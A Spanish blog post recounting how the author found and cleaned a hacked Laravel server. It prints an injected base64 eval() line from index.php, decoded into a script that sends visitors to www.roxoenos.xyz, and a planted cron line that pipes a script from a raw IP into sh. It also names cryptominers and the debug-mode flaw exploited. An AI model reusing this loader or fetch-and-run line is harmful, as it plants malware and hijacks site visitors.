Saltar al contenido
Marcos Peña
Menú
  • Acerca de…
Menú

¿Qué es www.roxoenos.xyz?

Publicada el abril 30, 2021 por Marcos

Escenario

Desde hace años tengo una aplicación web apoyada en Laravel, que mantengo con frecuencia. En el servidor corren dos instancias del framework, una para la aplicación principal con Laravel 6, y otra para un API que desplegué hace poco con Laravel 7.

Problema

Llevo unos días notando que las páginas tardan más en cargarse, problema que achaco a la saturación de la base de datos y no doy mayor importancia. Hace unos días un amigo me mostró como al intentar entrar en la página fue dirigido a otra, pero lo achaqué a un problema de su teléfono. Decido acceder al servidor para echar un vistazo a sus recursos. No noto nada raro hasta que me da por comprobar si el fichero de entrada de la aplicación, index.php, ha sido modificado. Como está bajo control de versiones basta con hacer un git diff HEAD public/index.php:
diff
1
2
3
4
5
6
7
diff --git a/public/index.php b/public/index.php
index 05322e9..dc2c4fd 100644
--- a/public/index.php
+++ b/public/index.php
@@ -1,4 +1,5 @@
<?php
+/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6IjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/
Por lo visto «alguien» ha incrustado un bloque de código con una instrucción que ejecuta el siguiente código codificado en base64:
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if(!defined("chaeJou7")){
    define("chaeJou7", 1);
    function isMobile($uagentStr){
        if(strpos($uagentStr, 'android') !== false || strpos($uagentStr, 'blackberry') !== false
            || strpos($uagentStr, 'iphone') !== false || strpos($uagentStr, 'ipad') !== false
            || strpos($uagentStr, 'ipod') !== false || strpos($uagentStr, 'opera mini') !== false
            || strpos($uagentStr, 'ieMobile') !== false){
            return true;
        }
        return false;
    }
 
    function isDesktop($uagentStr){
        if(strpos($uagentStr, 'edge') !== false || strpos($uagentStr, 'msie') !== false
            || strpos($uagentStr, 'opr') !== false || strpos($uagentStr, 'chromium') !== false
            || strpos($uagentStr, 'firefox') !== false || strpos($uagentStr, 'chrome') !== false){
            return true;
        }
        return false;
    }
 
    $redirTo = "https://www.roxoenos.xyz";
    $checkCookRedirStr = "aeNee8pi";
    $redirectAllow = true;
    foreach ($_COOKIE as $cookKey=>$cookVal){
        if (strpos($cookKey, 'wordpress_logged_in') !== false || $cookKey == $checkCookRedirStr) {
            $redirectAllow = false;
            break;
        }
    }
 
    $uagent = strtolower($_SERVER['HTTP_USER_AGENT']);
 
 
    if ($redirectAllow){
        if(isMobile($uagent) || isDesktop($uagent)) {
            setcookie($checkCookRedirStr, "1", time() + 604800);
            header("Location: $redirTo");
            die;
        }
    }
}
Por lo que entiendo el script verifica si alguna de las cookies contienen las cadenas de texto «aeNee8pi» o «wordpress_logged_in», en cuyo caso no hace nada. De lo contrario redirecciona a la página https://www.roxoenos.xyz, que desconozco que hace. Pero me figuro que nada bueno.

Solución

Lo primero que hago es borrar el bloque de código incrustado. Pero al cabo de unos segundos vuelve a aparecer. No veo ningún proceso sospechoso corriendo en el servidor así que imagino que el causante de la regeneración del código debe de ser una tarea cron. La aplicación web usa el usuario www-data, y es el primero cuyo crontab compruebo con sudo nano /var/spool/cron/crontabs/www-data. Éste el contenido:

Shell
1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Así que cada dos por tres la tarea programada descarga y ejecuta un script misterioso. Pruebo a descargar el script pero wget devuelve un error ( failed: Connection refused). De haber tener tiempo investigaría un poco más, pero ahora quiero deshacerme del servidor. Ya no me fío. Hace tiempo que quiero probar LightSail de AWS, ésta puede ser una buena ocasión. Dos horas después lo tengo todo funcionando en la nueva máquina. Y un poco más tarde vuelvo a notar que la aplicación va muy lenta. ¿Cómo puede ser? No traje nada del antiguo servidor, solo el código fuente que está bajo control de versiones en GitHub. No puede ser que haya un trojano en el código…

Cuando accedo al servidor por SSH, un htop informa que el 100% de los recursos de las CPUs está siendo acaparado por dos procesos: kdevtmpfsi y kinsing. Ambos ejecutables están situados en /tmp. ¿Cómo han llegado ahí? Gracias a una búsqueda rápida en Google descubro que se trata de dos miners malvados. De nuevo ha aparecido una tarea cron que descarga y ejecuta un script de una dirección IP. La borro, mato los procesos del malware, borro los ejecutables y a continuación creo dos ficheros con el mismo nombre, pero de solo lectura:

Shell
1
2
3
4
5
sudo touch /tmp/kdevtmpfsi && touch /tmp/kinsing
sudo echo "kdevtmpfsi no se toca" > /tmp/kdevtmpfsi
sudo echo "kinsing no se toca" > /tmp/kinsing
sudo chmod 0444 /tmp/kdevtmpfsi
sudo chmod 0444 /tmp/kinsing

Estos dos por lo menos no volverán a instalarse. Todavía me queda por averiguar cómo el atacante consigue crear tareas programadas. Tras una inspección minuciosa de los logs de nginx y otra búsqueda en Google. doy con la puerta trasera. En modo DEBUG, Laravel <= v8.4.2 permite la ejecución remota de código (CVE-2021-3129). Y, como no, sin saberlo una de las dos aplicaciones tenía el modo DEBUG igual a TRUE…

Deja una respuesta Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Artículos

  • abril 2022
  • marzo 2022
  • febrero 2022
  • enero 2022
  • diciembre 2021
  • noviembre 2021
  • octubre 2021
  • septiembre 2021
  • agosto 2021
  • julio 2021
  • junio 2021
  • mayo 2021
  • abril 2021
  • marzo 2021
  • febrero 2021
  • enero 2021
  • diciembre 2020
  • noviembre 2020
  • octubre 2020
  • septiembre 2020
  • agosto 2020
  • julio 2020
  • junio 2020
  • mayo 2020
  • abril 2020
  • marzo 2020
  • febrero 2020
  • enero 2020
  • diciembre 2019
  • noviembre 2019
  • octubre 2019
  • septiembre 2019
  • agosto 2019
  • julio 2019
  • junio 2019
  • mayo 2019
  • abril 2019
  • marzo 2019
  • febrero 2019
  • enero 2019
  • noviembre 2018
  • octubre 2018
  • julio 2016
  • mayo 2016
  • abril 2016
  • agosto 2015
  • febrero 2014
  • junio 2013
  • febrero 2013
  • noviembre 2012
  • octubre 2012
  • septiembre 2012
  • abril 2012
  • enero 2012

Categorías

  • Cómo
  • Consejos
  • Hacks
  • Sin sentido
  • Tutorial

Etiquetas

apache API aws cache Centos Codeigniter EAC firefox flash freebsd freenas gmail Google guacamole java Javascript jQuery kubuntu Linux mysql nas4free nginx php plesk postfix python react rtorrent Seguridad sftp sonata-admin spring spring-boot sql ssh ssl symfony symfony2 symfony4 thymeleaf ubuntu vnc wget windows wine

Entradas recientes

  • Confirmación antes de apagar
  • cURL error 60: SSL certificate problem: unable to get local issuer certificate
  • Oracle JDK 7 is NOT installed.
  • ssh: connect to host: Connection refused
  • Restringir acceso a un bucket de AWS s3 por IP

Comentarios recientes

  • Marcos en Deobbing flash
  • Irosales en Deobbing flash
  • Instalación certificado SSL de un vendedor – Marcos Peña en Instala un certificado SSL en tres pasos
  • gerMdz en Cómo instalar un certificado letsencrypt para un sitio gestionado por Cloudflare
  • Jose Olalla en Cómo ampliar el espacio en disco en 1and1

Archivos

  • abril 2022
  • marzo 2022
  • febrero 2022
  • enero 2022
  • diciembre 2021
  • noviembre 2021
  • octubre 2021
  • septiembre 2021
  • agosto 2021
  • julio 2021
  • junio 2021
  • mayo 2021
  • abril 2021
  • marzo 2021
  • febrero 2021
  • enero 2021
  • diciembre 2020
  • noviembre 2020
  • octubre 2020
  • septiembre 2020
  • agosto 2020
  • julio 2020
  • junio 2020
  • mayo 2020
  • abril 2020
  • marzo 2020
  • febrero 2020
  • enero 2020
  • diciembre 2019
  • noviembre 2019
  • octubre 2019
  • septiembre 2019
  • agosto 2019
  • julio 2019
  • junio 2019
  • mayo 2019
  • abril 2019
  • marzo 2019
  • febrero 2019
  • enero 2019
  • noviembre 2018
  • octubre 2018
  • julio 2016
  • mayo 2016
  • abril 2016
  • agosto 2015
  • febrero 2014
  • junio 2013
  • febrero 2013
  • noviembre 2012
  • octubre 2012
  • septiembre 2012
  • abril 2012
  • enero 2012

Categorías

  • Cómo
  • Consejos
  • Hacks
  • Sin sentido
  • Tutorial

Meta

  • Acceder
  • Feed de entradas
  • Feed de comentarios
  • WordPress.org
© 2022 Marcos Peña | Funciona con Minimalist Blog Tema para WordPress